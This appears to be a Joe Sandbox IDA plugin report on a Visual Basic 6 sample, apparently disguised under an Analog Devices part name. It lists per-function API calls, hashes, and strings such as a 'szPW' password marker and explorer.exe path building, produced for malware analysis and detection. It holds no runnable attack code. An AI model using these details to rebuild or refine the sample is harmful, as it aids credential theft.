Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Free$Move$File$Copy$#516#631BstrClosePut3$#525#570Get3$#598#648ErrorExitListOpenProcSeek$#537#594Overflow
String ID:
API String ID: 936154001-0
Opcode ID: 3aa9f9ede1c026c034044edf61044cbf9f29f764a31bed732f8cbd30b78298b1
Instruction ID: 6fbf1135f095249bf70c03af9044da0b22cab9efce2ca8aeaf0a64a19547a855
Opcode Fuzzy Hash: 3aa9f9ede1c026c034044edf61044cbf9f29f764a31bed732f8cbd30b78298b1
Instruction Fuzzy Hash: B7B11B75E002589FCB04EFE4DE88AEEBBB9EF48341F10412AE506E72A4DB785945CF54

Function 0040DBF0 Relevance: 91.4, APIs: 49, Strings: 3, Instructions: 401COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(?,Function_000032B6), ref: 0040DC0E
__vbaAryConstruct2.MSVBVM60(?,00408078,00000003,?,?,?,?,Function_000032B6), ref: 0040DC57
__vbaOnError.MSVBVM60(000000FF,?,?,?,?,Function_000032B6), ref: 0040DC66
__vbaSetSystemError.MSVBVM60(?,?,?,?,Function_000032B6), ref: 0040DC7E
__vbaSetSystemError.MSVBVM60(?,?,?,?,Function_000032B6), ref: 0040DCA8
__vbaSetSystemError.MSVBVM60(?,?,?,?,?,?,Function_000032B6), ref: 0040DCD1

Part of subcall function 00429F50: __vbaChkstk.MSVBVM60(00000000,Function_000032B6,?,?,?,?,?,Function_000032B6), ref: 00429F6E
Part of subcall function 00429F50: __vbaStrCopy.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 00429F9B
Part of subcall function 00429F50: __vbaStrCopy.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 00429FA7
Part of subcall function 00429F50: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 00429FB6
Part of subcall function 00429F50: __vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429FCF
Part of subcall function 00429F50: __vbaSetSystemError.MSVBVM60(?,00000000,?,?,?,00000000,Function_000032B6), ref: 00429FDF
Part of subcall function 00429F50: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,Function_000032B6), ref: 00429FED
Part of subcall function 00429F50: __vbaFreeStr.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 00429FF6
Part of subcall function 00429F50: __vbaStrToAnsi.MSVBVM60(00000004,?,00000000,00000004,00403208,00000004,?,?,?,00000000,Function_000032B6), ref: 0042A015
Part of subcall function 00429F50: __vbaSetSystemError.MSVBVM60(?,00000000,?,?,?,00000000,Function_000032B6), ref: 0042A025
Part of subcall function 00429F50: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,Function_000032B6), ref: 0042A033
Part of subcall function 00429F50: __vbaFreeStr.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0042A03C
Part of subcall function 00429F50: __vbaSetSystemError.MSVBVM60(?,?,?,?,00000000,Function_000032B6), ref: 0042A052
Part of subcall function 00429F50: __vbaFreeStr.MSVBVM60(0042A07C,?,?,?,00000000,Function_000032B6), ref: 0042A06C
Part of subcall function 00429F50: __vbaFreeStr.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0042A075

Part of subcall function 004296C0: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,?,0040CAFD,0042C0D4), ref: 004296DE
Part of subcall function 004296C0: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 0042970E
Part of subcall function 004296C0: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 00429723
Part of subcall function 004296C0: __vbaStrMove.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 0042973D
Part of subcall function 004296C0: __vbaStrCat.MSVBVM60(00000000,?,?,?,00000000,004032B6), ref: 00429744
Part of subcall function 004296C0: __vbaStrMove.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042974F
Part of subcall function 004296C0: __vbaStrCat.MSVBVM60(explorer.exe, ,00000000,?,?,?,00000000,004032B6), ref: 00429761
Part of subcall function 004296C0: __vbaStrMove.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042976C
Part of subcall function 004296C0: __vbaStrCat.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 00429779
Part of subcall function 004296C0: __vbaStrMove.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 00429784
Part of subcall function 004296C0: __vbaStrCopy.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 00429792
Part of subcall function 004296C0: __vbaStrCopy.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 004297A0
Part of subcall function 004296C0: __vbaFreeStrList.MSVBVM60(00000007,?,?,?,00000000,?,?,?,00000000,?,?,?,?,00000000), ref: 004297D9

__vbaSetSystemError.MSVBVM60(0000000F,00000000,?,?,?,?,Function_000032B6), ref: 0040DD2F
__vbaRecUniToAnsi.MSVBVM60(00405598,?,00000128), ref: 0040DD69
__vbaSetSystemError.MSVBVM60(?,00000000), ref: 0040DD7F
__vbaRecAnsiToUni.MSVBVM60(00405598,00000128,?), ref: 0040DD98
#525.MSVBVM60(00000104), ref: 0040DDC1
__vbaStrMove.MSVBVM60 ref: 0040DDCC
__vbaSetSystemError.MSVBVM60(00000410,00000000,?), ref: 0040DE03
__vbaGenerateBoundsError.MSVBVM60 ref: 0040DE42
__vbaStrToAnsi.MSVBVM60(?,?,000001F4), ref: 0040DE5D
__vbaSetSystemError.MSVBVM60(?,00000000,00000000), ref: 0040DE83
__vbaStrToUnicode.MSVBVM60(?,?), ref: 0040DE94
__vbaFreeStr.MSVBVM60 ref: 0040DEA9
#616.MSVBVM60(?,?), ref: 0040DEBE
__vbaStrMove.MSVBVM60 ref: 0040DECC
__vbaStrMove.MSVBVM60(?), ref: 0040DEE6
#517.MSVBVM60(00000000), ref: 0040DEED
__vbaStrMove.MSVBVM60 ref: 0040DEF8
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040DF0E
__vbaLenBstr.MSVBVM60(?,?,?,Function_000032B6), ref: 0040DF22
__vbaStrCmp.MSVBVM60(00000000,?,?,?,Function_000032B6), ref: 0040DF58
__vbaStrCopy.MSVBVM60(?,?,Function_000032B6), ref: 0040DFC0
__vbaStrMove.MSVBVM60(?,?,?,Function_000032B6), ref: 0040DFDA
__vbaStrMove.MSVBVM60(?,00000000,?,?,Function_000032B6), ref: 0040DFF5
__vbaStrCmp.MSVBVM60(00000000,?,?,Function_000032B6), ref: 0040DFFC
__vbaFreeStrList.MSVBVM60(00000003,?,?,?,?,?,Function_000032B6), ref: 0040E027
__vbaStrCopy.MSVBVM60 ref: 0040E04A
__vbaStrCmp.MSVBVM60(00000000,?,?,?,Function_000032B6), ref: 0040E064
__vbaRecUniToAnsi.MSVBVM60(00405598,?,?,?,?,Function_000032B6), ref: 0040E0AB
__vbaSetSystemError.MSVBVM60(?,00000000,?,?,Function_000032B6), ref: 0040E0C1
__vbaRecAnsiToUni.MSVBVM60(00405598,?,?,?,?,Function_000032B6), ref: 0040E0DA
__vbaSetSystemError.MSVBVM60(?), ref: 0040E0FE
#580.MSVBVM60(00000000,00000027,00000000,00000000,0042C0E4,00000000), ref: 0040E182
__vbaStrCat.MSVBVM60( SE,00000000,00000000), ref: 0040E19B
#600.MSVBVM60(00000008,00000000), ref: 0040E1BA
__vbaFreeVar.MSVBVM60 ref: 0040E1CC
#580.MSVBVM60(00000000,00000027,00000000,00000000,0042C0E4,00000000), ref: 0040E242
__vbaStrCat.MSVBVM60( PR,00000000,00000000), ref: 0040E25A
#600.MSVBVM60(00000008,00000000), ref: 0040E279
__vbaFreeVar.MSVBVM60 ref: 0040E28B

Part of subcall function 00415AF0: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,0040CB29,0042C0F4,00000000,0042C0D4), ref: 00415B0E
Part of subcall function 00415AF0: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 00415B3E
Part of subcall function 00415AF0: #580.MSVBVM60(00000000,00000000,00000000,?,?,?,00000000,004032B6), ref: 00415B6A
Part of subcall function 00415AF0: #529.MSVBVM60(00004008), ref: 00415B88

Part of subcall function 004259A0: __vbaStrCopy.MSVBVM60(6D136537,00000000,00000000), ref: 00425A0A
Part of subcall function 004259A0: __vbaStrCopy.MSVBVM60 ref: 00425A12
Part of subcall function 004259A0: __vbaOnError.MSVBVM60(00000001), ref: 00425A16
Part of subcall function 004259A0: #648.MSVBVM60(0000000A), ref: 00425A2E
Part of subcall function 004259A0: __vbaFreeVar.MSVBVM60 ref: 00425A3D
Part of subcall function 004259A0: __vbaI2I4.MSVBVM60(?), ref: 00425A4F
Part of subcall function 004259A0: __vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 00425A59
Part of subcall function 004259A0: __vbaI2I4.MSVBVM60 ref: 00425A61
Part of subcall function 004259A0: #570.MSVBVM60(00000000), ref: 00425A64
Part of subcall function 004259A0: __vbaLenBstr.MSVBVM60(0040545C), ref: 00425A74
Part of subcall function 004259A0: __vbaStrCopy.MSVBVM60 ref: 00425A93
Part of subcall function 004259A0: __vbaStrMove.MSVBVM60(?), ref: 00425AA9
Part of subcall function 004259A0: __vbaFreeStr.MSVBVM60 ref: 00425AAE
Part of subcall function 004259A0: __vbaLenBstr.MSVBVM60(0040545C), ref: 00425AC2
Part of subcall function 004259A0: #525.MSVBVM60(00000000), ref: 00425AC9
Part of subcall function 004259A0: __vbaStrMove.MSVBVM60 ref: 00425AD4
Part of subcall function 004259A0: __vbaI2I4.MSVBVM60 ref: 00425AD9
Part of subcall function 004259A0: __vbaGet4.MSVBVM60(00000000,?,-00000001,00000000), ref: 00425AE3

#598.MSVBVM60 ref: 0040E298
__vbaFreeStr.MSVBVM60(0040E305), ref: 0040E2DD
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 0040E2F5
__vbaFreeStr.MSVBVM60 ref: 0040E2FE

Part of subcall function 0041A090: __vbaChkstk.MSVBVM60(00000000,Function_000032B6,?,?,?,?,?,?,?,?,Function_000032B6), ref: 0041A0AE
Part of subcall function 0041A090: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0041A0DE
Part of subcall function 0041A090: __vbaSetSystemError.MSVBVM60(001F03FF,00000000,00000000,?,?,?,00000000,Function_000032B6), ref: 0041A118
Part of subcall function 0041A090: __vbaSetSystemError.MSVBVM60(00000000), ref: 0041A141
Part of subcall function 0041A090: __vbaSetSystemError.MSVBVM60(00000000), ref: 0041A157

Part of subcall function 004228E0: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,0040CB10,00000000,0042C0D4), ref: 004228FE
Part of subcall function 004228E0: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042292B
Part of subcall function 004228E0: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 0042293A
Part of subcall function 004228E0: #648.MSVBVM60(0000000A), ref: 00422959
Part of subcall function 004228E0: __vbaFreeVar.MSVBVM60 ref: 00422968
Part of subcall function 004228E0: __vbaI2I4.MSVBVM60(?), ref: 0042297C
Part of subcall function 004228E0: __vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 0042298A
Part of subcall function 004228E0: __vbaI2I4.MSVBVM60 ref: 0042299A
Part of subcall function 004228E0: #570.MSVBVM60(00000000), ref: 004229A1
Part of subcall function 004228E0: __vbaLenBstr.MSVBVM60(0040545C), ref: 004229AE
Part of subcall function 004228E0: __vbaLenBstr.MSVBVM60(0040545C), ref: 004229E5
Part of subcall function 004228E0: #525.MSVBVM60(00000000), ref: 004229EC
Part of subcall function 004228E0: __vbaStrMove.MSVBVM60 ref: 004229F7
Part of subcall function 004228E0: __vbaI2I4.MSVBVM60 ref: 00422A07
Part of subcall function 004228E0: __vbaFileSeek.MSVBVM60(00000004,00000000), ref: 00422A12
Part of subcall function 004228E0: __vbaI2I4.MSVBVM60 ref: 00422A22
Part of subcall function 004228E0: __vbaGet3.MSVBVM60(00000000,?,00000000), ref: 00422A2F
Part of subcall function 004228E0: __vbaStrMove.MSVBVM60(?), ref: 00422A4A
Part of subcall function 004228E0: __vbaStrCopy.MSVBVM60 ref: 00422A68
Part of subcall function 004228E0: __vbaStrMove.MSVBVM60(00000003), ref: 00422A79
Part of subcall function 004228E0: #616.MSVBVM60(00000000), ref: 00422A80

Strings

>, xrefs: 0040E291
PR, xrefs: 0040E255
SE, xrefs: 0040E196

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Error$FreeMoveSystem$Copy$Ansi$Chkstk$Bstr$#525#580FileListUnicode$#570#600#616#648Open$#517#529#598BoundsConstruct2DestructGenerateGet3Get4Seek
String ID: PR$ SE$>
API String ID: 1583011778-1191765531
Opcode ID: 45859f09e341b6f6bdbc91610b05257dc4f75515ba4226435016caa82a9c69b6
Instruction ID: f905f382651ed8b103fe9430cada2d1d943483e90bd52cba87cb48a71c5da37b
Opcode Fuzzy Hash: 45859f09e341b6f6bdbc91610b05257dc4f75515ba4226435016caa82a9c69b6
Instruction Fuzzy Hash: F7122D75A01219EBDB14DFA0DE88BDE7BB4FF48304F1081A9E505B72A0DB785A85CF58

Function 0041BDC7 Relevance: 91.3, APIs: 49, Strings: 3, Instructions: 299COMMON

Download Yara Rule

APIs

__vbaGenerateBoundsError.MSVBVM60 ref: 0041BE27
__vbaGenerateBoundsError.MSVBVM60 ref: 0041BE44
__vbaStrCat.MSVBVM60(00000000,?), ref: 0041BE64
__vbaStrMove.MSVBVM60 ref: 0041BE72
__vbaStrCat.MSVBVM60(00406544,00000000), ref: 0041BE7E
__vbaStrMove.MSVBVM60 ref: 0041BE89
__vbaFreeStr.MSVBVM60 ref: 0041BE95
__vbaRecUniToAnsi.MSVBVM60(004055BC,?,?), ref: 0041BEB5
__vbaStrCat.MSVBVM60(*.dat,?,00000000), ref: 0041BEC5
__vbaStrMove.MSVBVM60 ref: 0041BED3
__vbaStrToAnsi.MSVBVM60(?,00000000), ref: 0041BEE1
__vbaSetSystemError.MSVBVM60(00000000), ref: 0041BEF3
__vbaRecAnsiToUni.MSVBVM60(004055BC,?,?), ref: 0041BF0C
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0041BF2B
__vbaStrFixstr.MSVBVM60(00000104,?), ref: 0041BF58
__vbaStrMove.MSVBVM60 ref: 0041BF66
__vbaStrMove.MSVBVM60(00000000), ref: 0041BF7A
__vbaLsetFixstr.MSVBVM60(00000104,?,?), ref: 0041BF93
__vbaStrMove.MSVBVM60 ref: 0041BFB8
__vbaFreeStr.MSVBVM60 ref: 0041BFC4
__vbaStrCat.MSVBVM60(?,?), ref: 0041BFD9
__vbaStrMove.MSVBVM60 ref: 0041BFE7
#578.MSVBVM60(00000000), ref: 0041BFEE
__vbaFreeStr.MSVBVM60 ref: 0041C00D
__vbaStrCat.MSVBVM60(?,?), ref: 0041C031
__vbaStrMove.MSVBVM60 ref: 0041C03F
__vbaStrMove.MSVBVM60(?), ref: 0041C056
__vbaFreeStr.MSVBVM60 ref: 0041C062
__vbaInStr.MSVBVM60(00000000,["szPW"],?,00000001), ref: 0041C07C
__vbaInStr.MSVBVM60(00000000,004095E4,?,-00000008), ref: 0041C0B5
__vbaInStr.MSVBVM60(00000000,004095E4,?,-00000001), ref: 0041C0EE
__vbaStrCopy.MSVBVM60 ref: 0041C353
__vbaFreeStr.MSVBVM60(0041C3F0), ref: 0041C3B0
__vbaFreeStr.MSVBVM60 ref: 0041C3B9
__vbaFreeStr.MSVBVM60 ref: 0041C3C2
__vbaFreeStr.MSVBVM60 ref: 0041C3CB
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 0041C3D7
__vbaFreeStr.MSVBVM60 ref: 0041C3E0
__vbaFreeStr.MSVBVM60 ref: 0041C3E9
__vbaErrorOverflow.MSVBVM60 ref: 0041C406

Strings

59ABCQEF01, xrefs: 0041C236
*.dat, xrefs: 0041BEC0
["szPW"], xrefs: 0041C075

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Free$Move$Error$Ansi$BoundsFixstrGenerate$#578CopyDestructListLsetOverflowSystem
String ID: *.dat$59ABCQEF01$["szPW"]
API String ID: 806118442-2789598873
Opcode ID: a5ac6cd11d6c4d803174f6a91ff4b35df35804981069048ccf288ae3b20bb73f
Instruction ID: e520ffca7d995d5c9d8e1e4b7866a297511e66e05a072c8871b128296ca8dfb1
Opcode Fuzzy Hash: a5ac6cd11d6c4d803174f6a91ff4b35df35804981069048ccf288ae3b20bb73f
Instruction Fuzzy Hash: 78D10C71A00258EFDB14DFA0DE88BDEB775EB48301F1081A9E50AB72A0DB745E85CF19

Function 0041A980 Relevance: 75.5, APIs: 35, Strings: 8, Instructions: 227COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6), ref: 0041A99E
__vbaStrCopy.MSVBVM60(?,00000000,?,00000000,Function_000032B6), ref: 0041A9CE
__vbaAryConstruct2.MSVBVM60(?,00408078,00000003,?,00000000,?,00000000,Function_000032B6), ref: 0041A9DF
__vbaOnError.MSVBVM60(000000FF,?,00000000,?,00000000,Function_000032B6), ref: 0041A9EE
__vbaSetSystemError.MSVBVM60(0000000F,00000000,?,00000000,?,00000000,Function_000032B6), ref: 0041AA0A
__vbaRecUniToAnsi.MSVBVM60(00405598,?,00000128), ref: 0041AA44
__vbaSetSystemError.MSVBVM60(?,00000000), ref: 0041AA5A
__vbaRecAnsiToUni.MSVBVM60(00405598,00000128,?), ref: 0041AA73
#525.MSVBVM60(00000104), ref: 0041AA9C
__vbaStrMove.MSVBVM60 ref: 0041AAA7
__vbaSetSystemError.MSVBVM60(00000410,00000000,?), ref: 0041AADE
__vbaGenerateBoundsError.MSVBVM60 ref: 0041AB1D
__vbaStrToAnsi.MSVBVM60(?,00000000,000001F4), ref: 0041AB38
__vbaSetSystemError.MSVBVM60(?,?,00000000), ref: 0041AB5E
__vbaStrToUnicode.MSVBVM60(00000000,?,?,00000000), ref: 0041AB6F
__vbaFreeStr.MSVBVM60(?,00000000), ref: 0041AB84
#616.MSVBVM60(00000000,?,?,00000000), ref: 0041AB99
__vbaStrMove.MSVBVM60(?,00000000), ref: 0041ABA7
__vbaStrMove.MSVBVM60(?,?,00000000), ref: 0041ABBE
__vbaFreeStr.MSVBVM60(?,00000000), ref: 0041ABCA
#517.MSVBVM60(?,?,00000000), ref: 0041ABDB
__vbaStrMove.MSVBVM60(?,00000000), ref: 0041ABE9
#517.MSVBVM60(?,00000000,?,00000000), ref: 0041ABF7
__vbaStrMove.MSVBVM60(?,00000000), ref: 0041AC05
__vbaStrCmp.MSVBVM60(00000000,?,00000000), ref: 0041AC0C
__vbaFreeStrList.MSVBVM60(00000002,?,?,?,00000000), ref: 0041AC30
__vbaRecUniToAnsi.MSVBVM60(00405598,?,?,?,00000000,Function_000032B6), ref: 0041AC77
__vbaSetSystemError.MSVBVM60(?,00000000,?,00000000,Function_000032B6), ref: 0041AC8D
__vbaRecAnsiToUni.MSVBVM60(00405598,?,?,?,00000000,Function_000032B6), ref: 0041ACA6
__vbaSetSystemError.MSVBVM60(?), ref: 0041ACCA
__vbaFreeStr.MSVBVM60(0041AD37), ref: 0041AD03
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 0041AD1B
__vbaFreeStr.MSVBVM60 ref: 0041AD24
__vbaFreeStr.MSVBVM60 ref: 0041AD30

Strings

59ABCQEF01, xrefs: 0041C236
+, xrefs: 0041BA22
00000, xrefs: 0041B720
system\, xrefs: 0041AFA8, 0041B1B7, 0041B2C6, 0041B763
d/m/yy h:m, xrefs: 0041B435
*.dat, xrefs: 0041BEC0
["szPW"], xrefs: 0041C075
yymmdd, xrefs: 0041B6CE

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Error$FreeSystem$AnsiMove$#517$#525#616BoundsChkstkConstruct2CopyDestructGenerateListUnicode
String ID: *.dat$+$00000$59ABCQEF01$["szPW"]$d/m/yy h:m$system\$yymmdd
API String ID: 3648932012-3366732667
Opcode ID: 7668726f4cd95b987f5e59ec2b7e3e1321d326a0ceac46527a88094c400bc5a0
Instruction ID: 2d0d5c7510d645d02d0112559b502ebe2581ea1b8a188934723facc0c59fc7af
Opcode Fuzzy Hash: 7668726f4cd95b987f5e59ec2b7e3e1321d326a0ceac46527a88094c400bc5a0
Instruction Fuzzy Hash: 03A11875901219EBDB10DFA0DE48BDEBBB4FB48305F1081A9E50AB72A0DB745A84CF58

Function 004190D0 Relevance: 73.7, APIs: 30, Strings: 12, Instructions: 179COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6), ref: 004190EE
__vbaStrCopy.MSVBVM60(00000000,?,?,00000000,Function_000032B6), ref: 0041911B
__vbaOnError.MSVBVM60(000000FF), ref: 0041912A
#618.MSVBVM60(?,00000004), ref: 0041913D
__vbaStrMove.MSVBVM60 ref: 00419148
#517.MSVBVM60(00000000), ref: 0041914F
__vbaStrMove.MSVBVM60 ref: 0041915A
__vbaFreeStr.MSVBVM60 ref: 00419163
__vbaStrCmp.MSVBVM60(.png,?), ref: 00419179
__vbaStrCopy.MSVBVM60 ref: 00419192
__vbaStrCmp.MSVBVM60(.gif,?), ref: 004191AD
__vbaStrCopy.MSVBVM60 ref: 004191C6
__vbaSetSystemError.MSVBVM60(?,00000000,?), ref: 004192FA
#644.MSVBVM60(?,?,?), ref: 0041932B
__vbaSetSystemError.MSVBVM60(?,?,?,00000000), ref: 0041934A
__vbaSetSystemError.MSVBVM60(?,?,?), ref: 0041936F
__vbaFreeStr.MSVBVM60(004193A2), ref: 00419389
__vbaFreeStr.MSVBVM60 ref: 00419392
__vbaFreeStr.MSVBVM60 ref: 0041939B

Strings

image/bmp, xrefs: 004192BC
image/gif, xrefs: 004191BE
image/jpeg, xrefs: 004191F2, 00419226, 004192D3
tiff, xrefs: 00419275
.bmp, xrefs: 004192A6
.tif, xrefs: 00419244
.png, xrefs: 00419174
image/png, xrefs: 0041918A
image/tiff, xrefs: 0041925A, 0041928B
.gif, xrefs: 004191A8
.jpg, xrefs: 004191DC
jpeg, xrefs: 00419210

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$ErrorFree$CopySystem$Move$#517#618#644Chkstk
String ID: .bmp$.gif$.jpg$.png$.tif$image/bmp$image/gif$image/jpeg$image/png$image/tiff$jpeg$tiff
API String ID: 1021285327-184555114
Opcode ID: ba1cf2ca1d92ba703dd7003ebc9d02931437add039b3899e3393abdce3672aa7
Instruction ID: 18cdca4dd913881e1e3906aabc5795d02bdbdb37ff3be22054c062f985fa0cbb
Opcode Fuzzy Hash: ba1cf2ca1d92ba703dd7003ebc9d02931437add039b3899e3393abdce3672aa7
Instruction Fuzzy Hash: 48710CB1900209EBDB04DFE1DA59BEEBB74FB44304F20806DE502B76A0D7785E45DB18

Function 00426070 Relevance: 64.8, APIs: 43, Instructions: 350COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(6D04D9F5,00000000,6D04D83C), ref: 004260E5
__vbaStrCopy.MSVBVM60 ref: 004260ED
__vbaOnError.MSVBVM60(00000001), ref: 004260F1
__vbaStrToAnsi.MSVBVM60(?,?,80000000,00000000,00000000,00000003,00000000,00000000), ref: 00426110
__vbaSetSystemError.MSVBVM60(00000000), ref: 00426121
__vbaStrToUnicode.MSVBVM60(?,?), ref: 0042612B
__vbaFreeStr.MSVBVM60 ref: 0042613A
__vbaSetSystemError.MSVBVM60(?,00000000,?,00000000,?), ref: 0042616D
__vbaSetSystemError.MSVBVM60(?,?,00000006,?,00000000), ref: 00426183
__vbaSetSystemError.MSVBVM60(?,?,00000010,?,00000000), ref: 00426199
__vbaSetSystemError.MSVBVM60(?,?,?,00000000), ref: 004261B0
__vbaRedim.MSVBVM60(00000080,00000001,?,00000011,00000001,?,00000000), ref: 004261C6
__vbaAryLock.MSVBVM60(?,?), ref: 004261D7
__vbaGenerateBoundsError.MSVBVM60 ref: 004261F4
__vbaGenerateBoundsError.MSVBVM60 ref: 00426203
__vbaSetSystemError.MSVBVM60(?,3F800000,?,?,00000000), ref: 00426224
__vbaAryUnlock.MSVBVM60(?), ref: 0042622A
__vbaSetSystemError.MSVBVM60(?), ref: 00426239
__vbaStrToAnsi.MSVBVM60(?,?,C0000000,00000000,00000000,00000003,00000000,00000000), ref: 0042624E
__vbaSetSystemError.MSVBVM60(00000000), ref: 00426259
__vbaStrToUnicode.MSVBVM60(?,?), ref: 00426263
__vbaFreeStr.MSVBVM60 ref: 00426272
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?), ref: 004262D8
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?), ref: 004262EB
__vbaSetSystemError.MSVBVM60(?,?,?,00000000), ref: 0042630A
__vbaAryLock.MSVBVM60(?,?), ref: 00426314
__vbaGenerateBoundsError.MSVBVM60 ref: 00426331
__vbaGenerateBoundsError.MSVBVM60 ref: 00426339
__vbaUbound.MSVBVM60(00000001,?,?,00000000), ref: 0042634D
__vbaSetSystemError.MSVBVM60(?,3F800000,00000000), ref: 00426366
__vbaAryUnlock.MSVBVM60(?), ref: 00426372
__vbaAryLock.MSVBVM60(?,?), ref: 0042637C
__vbaGenerateBoundsError.MSVBVM60 ref: 0042639C
__vbaGenerateBoundsError.MSVBVM60 ref: 004263AD
__vbaAryUnlock.MSVBVM60(?,?,?,3F800004,?), ref: 004263D5
__vbaSetSystemError.MSVBVM60(?), ref: 004263E5
__vbaExitProc.MSVBVM60 ref: 004263EE
__vbaSetSystemError.MSVBVM60(?,?), ref: 00426410
__vbaExitProc.MSVBVM60 ref: 00426419
__vbaFreeStr.MSVBVM60(00426466), ref: 00426443
__vbaRecDestruct.MSVBVM60(00407F10,?), ref: 0042644E
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 0042645A
__vbaFreeStr.MSVBVM60 ref: 00426463

Part of subcall function 00426480: __vbaSetSystemError.MSVBVM60(00000000,?,00000006,?,00000000,?,00426152,?), ref: 004264B4

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Error$System$BoundsGenerate$Free$LockUnlock$AnsiCopyDestructExitProcUnicode$RedimUbound
String ID:
API String ID: 2812220623-0
Opcode ID: 4bff154d9429e66b7277ffeb6f82d5934f284739e9e3ccb96d97e83057302d16
Instruction ID: 6d216b33ba202ac5a5f4cc22896228a38d21b0d4e91878a3c687a56ceed05745
